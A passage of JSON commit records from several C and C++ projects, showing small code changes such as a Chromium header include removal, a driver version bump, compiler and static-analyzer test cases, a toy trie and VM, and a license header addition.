DCHECK(trimmed == ASCIIToUTF16(\"two three four five six seven\"));\n\/\/  DCHECK(start == 10);\n\/\/\nstring16 TrimWords(\n    size_t* start,\n    size_t end,\n    const string16& text,\n    size_t keep);\n\n#endif  \/\/ CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n#define CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n\n#include \"base\/string16.h\"\n\n\/\/ Trims |text| to contain only the range from |start| to |end| and |keep| words\n\/\/ on either side of the range. The |start| and |end| parameters are character\n\/\/ indexes into |text|. The |keep| parameter is the number of words to keep on\n\/\/ either side of the |start|-|end| range. The function updates |start| in\n\/\/ accordance with the trimming.\n\/\/\n\/\/ Example:\n\/\/\n\/\/  size_t start = 14;\n\/\/  size_t end = 23;\n\/\/  string16 text = ASCIIToUTF16(\"one two three four five six seven eight\");\n\/\/  int keep = 2;\n\/\/  string16 trimmed = TrimWords(&start, end, text, keep);\n\/\/  DCHECK(trimmed == ASCIIToUTF16(\"two three four five six seven\"));\n\/\/  DCHECK(start == 10);\n\/\/\nstring16 TrimWords(\n    size_t* start,\n    size_t end,\n    const string16& text,\n    size_t keep);\n\n#endif  \/\/ CHROME_BROWSER_SPELLCHECKER_WORD_TRIMMER_H_\n","subject":"Remove unnecessary include in spellcheck word trimmer","message":"Remove unnecessary include in spellcheck word trimmer\n\nTBR=groby\nBUG=170514\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/14273022\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@196650 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"M4sse\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Just-D\/chromium-1,jaruba\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,Chilledheart\/chromium,anirudhSK\/chromium,hujiajie\/pa-chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,anirudhSK\/chromium,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,littlstar\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,Chilledheart\/chromium,ltilve\/chromium,axinging\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,Just-D\/chromium-1,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,jaruba\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,ondra-novak\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl"}
{"commit":"eafcde2103a2bfe27304664f331b10265d8e7bca","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k19\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k20\"\n","subject":"Update driver version to 5.02.00-k20","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k20\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"b8af68049f97718e1ecd5e86aa1bf5c7cafa8be0","old_file":"Trie.c","new_file":"Trie.c","old_contents":"\/\/Trie data structure testing\n\/\/All code written my Nathaniel Thompson\n\n#include <stdio.h>\n#include <stdlib.h>\n\n\/\/trie structure\ntypedef struct _trie\n{\n    char letter; \/\/the letter that the node holds\n    _trie *next[26];\/\/pointers to the rest of the letters\n}trie;\n\n\/\/main function\nint main(void)\n{\n\n}\n","new_contents":"\/\/Trie data structure testing\n\/\/All code written my Nathaniel Thompson\n\n#include <stdio.h>\n#include <stdlib.h>\n\n\/\/trie structure\ntypedef struct _trie{\n    char letter; \/\/the letter that the node holds\n    struct _trie *next[26];\/\/pointers to the rest of the letters\n}trie;\n\n\/\/fucntion prototypes\nvoid initialize(trie *);\n\n\/\/main function\nint main(void)\n{\n  int i=0;\n  trie *root=malloc(sizeof(trie)); \/\/this is the root of the tree\n  root->letter=0;\/\/it doesn't contain a letter\n  initialize(root);\n  \n  for(i=0;i<26;i++)\n  {\n    printf(\"%c\",root->next[i]->letter);\n  }\n  \n  \n}\n\nvoid initialize(trie *root)\n{\n  int i;\n  int j;\n  for(i=0;i<26;i++) \/\/initialize all of the letters\n  {\n    root->next[i]=malloc(sizeof(trie)); \/\/ get memory for each letter\n    root->next[i]->letter='a'+i; \/\/give the letters the proper values\n    for(j=0;j<26;j++)\n      root->next[i]->next[j]=NULL;          \/\/Set all the letters pointers to null\n  }\n  printf(\"good fucntion call\\n\");\n}\n","subject":"Structure was properly set up, TODO Create a small dictionary load dictionary into the trie","message":"Structure was properly set up,\nTODO\nCreate a small dictionary\nload dictionary into the trie\n","lang":"C","license":"mit","repos":"Felttrip\/TrieWords"}
{"commit":"a4cb50ac023800ecb1442ce5269effcf7e012f8a","old_file":"test2\/__attribute__\/parsing_decl_struct_post.c","new_file":"test2\/__attribute__\/parsing_decl_struct_post.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\nstruct A\n{\n\tchar i, j;\n} __attribute((aligned(8)));\n\nstruct A a;\n\n_Static_assert(_Alignof(a) == 8, \"misaligned\/attr not picked up\");\n","subject":"Test parsing __attribute__ after a struct definition","message":"Test parsing __attribute__ after a struct definition\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"e3d436ba7ba128aaebb480aeb07f1a013e8e75f1","old_file":"tests\/headers\/dupe-enum-variant-in-namespace.h","new_file":"tests\/headers\/dupe-enum-variant-in-namespace.h","old_contents":"\/\/ bindgen-flags: --rustified-enum \".*\" --enable-cxx-namespaces -- -x c++\n\nnamespace foo {\n  enum class Bar : unsigned {\n    Foo = 0,\n    Foo1 = 0,\n    Foo2,\n    Foo3 = Foo2,\n  };\n}\n","new_contents":"\/\/ bindgen-flags: --rustified-enum \".*\" --enable-cxx-namespaces -- -x c++ -std=c++11\n\nnamespace foo {\n  enum class Bar : unsigned {\n    Foo = 0,\n    Foo1 = 0,\n    Foo2,\n    Foo3 = Foo2,\n  };\n}\n","subject":"Fix a pre-existing failing test?","message":"Fix a pre-existing failing test?\n","lang":"C","license":"bsd-3-clause","repos":"rust-lang\/rust-bindgen,rust-lang\/rust-bindgen,rust-lang\/rust-bindgen,emilio\/rust-bindgen,emilio\/rust-bindgen,rust-lang\/rust-bindgen,emilio\/rust-bindgen,emilio\/rust-bindgen,emilio\/rust-bindgen"}
{"commit":"93a0f6dbddc577afc67be7de7ac258907f405e7d","old_file":"src\/jukebox.c","new_file":"src\/jukebox.c","old_contents":"\/*\n * Copyright (C) 2016, Michiel Sikma <michiel@sikma.org>\n * MIT License\n *\/\n\n#include <stdio.h>\n\n#include \"game.h\"\n#include \"jukebox.h\"\n\n\/**\n * Starts the jukebox.\n *\/\nvoid start_jukebox() {\n    start_game();\n}\n","new_contents":"\/*\n * Copyright (C) 2016, Michiel Sikma <michiel@sikma.org>\n * MIT License\n *\/\n\n#include <stdio.h>\n\n#include \"src\/game.h\"\n#include \"src\/jukebox.h\"\n\n\/**\n * Starts the jukebox.\n *\/\nvoid start_jukebox() {\n    start_game();\n}\n","subject":"Use correct paths relative to root","message":"Use correct paths relative to root\n","lang":"C","license":"mit","repos":"msikma\/ceegee,msikma\/ceegee"}
{"commit":"697450ebcd4d1d87e34b61bf273505354dec2a91","old_file":"test\/cases\/vla\/check_align.c","new_file":"test\/cases\/vla\/check_align.c","old_contents":"\/\/ RUN: %ucc -o %t %s vla\/check_align_asm.s\n\/\/ RUN: %t\n\nextern void check_align() __asm(\"check_align\");\n\na()\n{\n\tint i = 1;\n\tshort c[i];\n\n\tc[0] = 0;\n\n\tcheck_align(c, i);\n}\n\nb()\n{\n\tint i = 3;\n\tchar c[i];\n\n\tc[0] = 0;\n\tc[1] = 0;\n\tc[2] = 0;\n\n\tcheck_align(c, i);\n}\n\nmain()\n{\n\ta();\n\tb();\n\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ucc -o %t %s \"$(dirname %s)\"\/check_align_asm.s\n\/\/ RUN: %t\n\nextern void check_align() __asm(\"check_align\");\n\na()\n{\n\tint i = 1;\n\tshort c[i];\n\n\tc[0] = 0;\n\n\tcheck_align(c, i);\n}\n\nb()\n{\n\tint i = 3;\n\tchar c[i];\n\n\tc[0] = 0;\n\tc[1] = 0;\n\tc[2] = 0;\n\n\tcheck_align(c, i);\n}\n\nmain()\n{\n\ta();\n\tb();\n\n\treturn 0;\n}\n","subject":"Fix VLA stack alignment test \/ path","message":"Fix VLA stack alignment test \/ path\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"cabc7f4405368319590d7df0ed48c60b0894082f","old_file":"main.c","new_file":"main.c","old_contents":"","new_contents":"#include \"vm.h\"\n\nint* read_from_file(FILE* file) {\n    int *instructions, idx = 0, count = 0;\n\n    while (fgetc(file) != EOF) count++;\n\n    rewind(file);\n\n    instructions = malloc(count * sizeof(int));\n\n    for (idx=0; idx < count; idx++) {\n        instructions[idx] = fgetc(file);\n    }\n\n    return instructions;\n}\n\n\nint main(int argc, const char* argv[]) {\n    if (argc != 2) {\n        fprintf(stderr, \"Invalid args\\n\");\n        return -1;\n\n    } else {\n        printf(\n            \"%d\\n\",\n            evaluate(\n                read_from_file(\n                    fopen(argv[1], \"rb\")\n                )\n            )\n        );\n\n        return 0;\n    }\n}\n","subject":"Add code to read opcodes from file :P","message":"Add code to read opcodes from file :P\n","lang":"C","license":"mit","repos":"Mause\/simvm"}
{"commit":"825e6b1aaf68fdc87768557bafc33d29279aa1b1","old_file":"tests\/regression\/36-octapron\/13-traces-min-rpb2.c","new_file":"tests\/regression\/36-octapron\/13-traces-min-rpb2.c","old_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\nint h = 1;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x;\n  assert(g == h);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nvoid *t2_fun(void *arg) {\n  int x, y; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x;\n  assert(g == h);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  if (y)\n    g = x;\n  else\n    h = x;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id, id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t2_fun, NULL);\n\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_lock(&A);\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 1;\nint h = 1;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x;\n  assert(g == h);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nvoid *t2_fun(void *arg) {\n  int x, y; \/\/ rand\n  pthread_mutex_lock(&A);\n  g = x;\n  h = x;\n  assert(g == h);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&A);\n  if (y)\n    g = x;\n  else\n    h = x;\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id, id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t2_fun, NULL);\n\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_lock(&A);\n  assert(g == h); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Add extra assert to 36\/13","message":"Add extra assert to 36\/13\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ce235f4a0659a567394f9b540abaf732d6b2c765","old_file":"firmware\/voltage_encode.c","new_file":"firmware\/voltage_encode.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdint.h>\n\nstatic inline uint8_t rev8(uint8_t d)\n{\n    int i;\n    uint8_t out = 0;\n\n    \/* (from left to right) *\/\n    for (i = 0; i < 8; i++)\n        if (d & (1 << i))\n            out |= (1 << (7 - i));\n\n    return out;\n}\n\n\/* http:\/\/www.onsemi.com\/pub_link\/Collateral\/ADP3208D.PDF *\/\nstatic inline uint32_t encode_voltage(uint32_t v)\n{\n\treturn rev8((0x78 - v \/ 125) << 1 | 1) << 8;\n}\n\nstatic inline uint32_t decode_voltage(uint32_t v)\n{\n\treturn (0x78 - (rev8(v >> 8) >> 1)) * 125;\n}\n\nint main()\n{\n\tint v = 0;\n\twhile (v < 15000) {\n\t\tprintf(\"%d --> %04x | %d\\n\", v, encode_voltage(v), encode_voltage(v));\n\t\tv += 125;\n\t}\n}\n","subject":"Add a simple voltage encode\/decode c code","message":"Add a simple voltage encode\/decode c code\n","lang":"C","license":"unlicense","repos":"Canaan-Creative\/MM,Canaan-Creative\/MM,Canaan-Creative\/MM"}
{"commit":"aaadede7cfb154186bcf8f74927ca34ee1123264","old_file":"source\/glbinding\/include\/glbinding\/Function.h","new_file":"source\/glbinding\/include\/glbinding\/Function.h","old_contents":"#pragma once\n\n#include <functional>\n\n#include <glbinding\/AbstractFunction.h>\n\n\nnamespace \n{\n\ntemplate <typename ReturnType, typename... Arguments> struct FunctionHelper;\n\ntemplate <typename ReturnType, typename... Arguments>\nstruct CallbackType\n{\n    using type = std::function<void(Arguments..., ReturnType)>;\n};\n\ntemplate <typename... Arguments>\nstruct CallbackType<void, Arguments...>\n{\n    using type = std::function<void(Arguments...)>;\n};\n\n}\n\nnamespace glbinding \n{\n\ntemplate <typename ReturnType, typename... Arguments>\nclass Function : public AbstractFunction\n{\n    friend struct FunctionHelper<ReturnType, Arguments...>;\n\n    using Signature = ReturnType(*) (Arguments...);\n\n    using BeforeCallback = std::function<void(Arguments...)>;\n    using AfterCallback = typename CallbackType<ReturnType, Arguments...>::type;\n\npublic:\n    Function(const char * name);\n\n    ReturnType operator()(Arguments&... arguments) const;\n\n    \/\/void addBeforeCallback(BeforeCallback callback);\n    \/\/void addAfterCallback(AfterCallback callback);\n\nprotected:\n\/\/    std::vector<BeforeCallback> m_beforeCallbacks;\n\/\/    std::vector<AfterCallback> m_afterCallbacks;\n};\n\n} \/\/ namespace glbinding\n\n#include <glbinding\/Function.hpp>\n","new_contents":"#pragma once\n\n#include <functional>\n\n#include <glbinding\/AbstractFunction.h>\n\n#ifndef WINAPI\n#ifdef _WIN32\n#define WINAPI __stdcall\n#else\n#define WINAPI\n#endif\n#endif\n\nnamespace \n{\n\ntemplate <typename ReturnType, typename... Arguments> struct FunctionHelper;\n\ntemplate <typename ReturnType, typename... Arguments>\nstruct CallbackType\n{\n    using type = std::function<void(Arguments..., ReturnType)>;\n};\n\ntemplate <typename... Arguments>\nstruct CallbackType<void, Arguments...>\n{\n    using type = std::function<void(Arguments...)>;\n};\n\n}\n\nnamespace glbinding \n{\n\ntemplate <typename ReturnType, typename... Arguments>\nclass Function : public AbstractFunction\n{\n    friend struct FunctionHelper<ReturnType, Arguments...>;\n\n    using Signature = ReturnType(WINAPI *) (Arguments...);\n\n    using BeforeCallback = std::function<void(Arguments...)>;\n    using AfterCallback = typename CallbackType<ReturnType, Arguments...>::type;\n\npublic:\n    Function(const char * name);\n\n    ReturnType operator()(Arguments&... arguments) const;\n\n    \/\/void addBeforeCallback(BeforeCallback callback);\n    \/\/void addAfterCallback(AfterCallback callback);\n\nprotected:\n\/\/    std::vector<BeforeCallback> m_beforeCallbacks;\n\/\/    std::vector<AfterCallback> m_afterCallbacks;\n};\n\n} \/\/ namespace glbinding\n\n#include <glbinding\/Function.hpp>\n","subject":"Add calling convention on windows","message":"Add calling convention on windows\n","lang":"C","license":"mit","repos":"hpi-r2d2\/glbinding,hpi-r2d2\/glbinding,cginternals\/glbinding,j-o\/glbinding,hpi-r2d2\/glbinding,hpicgs\/glbinding,hpi-r2d2\/glbinding,mcleary\/glbinding,hpicgs\/glbinding,cginternals\/glbinding,hpicgs\/glbinding,mcleary\/glbinding,j-o\/glbinding,hpicgs\/glbinding,mcleary\/glbinding,j-o\/glbinding,j-o\/glbinding,mcleary\/glbinding"}
{"commit":"c9c16148b9aa1afa02ac07e46d7ae090ab938a00","old_file":"src\/node.h","new_file":"src\/node.h","old_contents":"\/*\n * node.h - type definition for node in a table\n *\/\n#ifndef _NODE_H_\n#define _NODE_H_\n\n#include \"table.h\"\n#include \"timestamp.h\"\n\ntypedef struct node {\n    struct node *next;\t\t\/* link to next node in the table *\/\n    struct node *prev;\t\t\/* link to previous node in the table *\/\n    struct node *younger;\t\/* link to next younger node *\/\n    unsigned char *tuple;\t\/* pointer to Tuple in circ buffer *\/\n    unsigned short alloc_len;\t\/* bytes allocated for tuple in circ buffer *\/\n    unsigned short real_len;\t\/* actual lengthof the tuple in bytes *\/\n    struct table *parent;\t\/* table to which node belongs *\/\n    tstamp_t tstamp;\t\t\/* timestamp when entered into database\n                                   nanoseconds since epoch *\/\n} Node;\n\n#endif \/* _NODE_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * node.h - type definition for node in a table\n *\/\n#ifndef _NODE_H_\n#define _NODE_H_\n\n#include \"table.h\"\n#include \"timestamp.h\"\n\ntypedef struct node {\n    struct node *next;\t\t\/* link to next node in the table *\/\n    struct node *prev;\t\t\/* link to previous node in the table *\/\n    struct node *younger;\t\/* link to next younger node *\/\n    unsigned char *tuple;\t\/* pointer to Tuple in circ buffer *\/\n    unsigned short alloc_len;\t\/* bytes allocated for tuple in circ buffer *\/\n    unsigned short real_len;\t\/* actual lengthof the tuple in bytes *\/\n    struct table *parent;\t\/* table to which node belongs *\/\n    tstamp_t tstamp;\t\t\/* timestamp when entered into database\n                                   nanoseconds since epoch *\/\n} Node;\n\n#endif \/* _NODE_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source 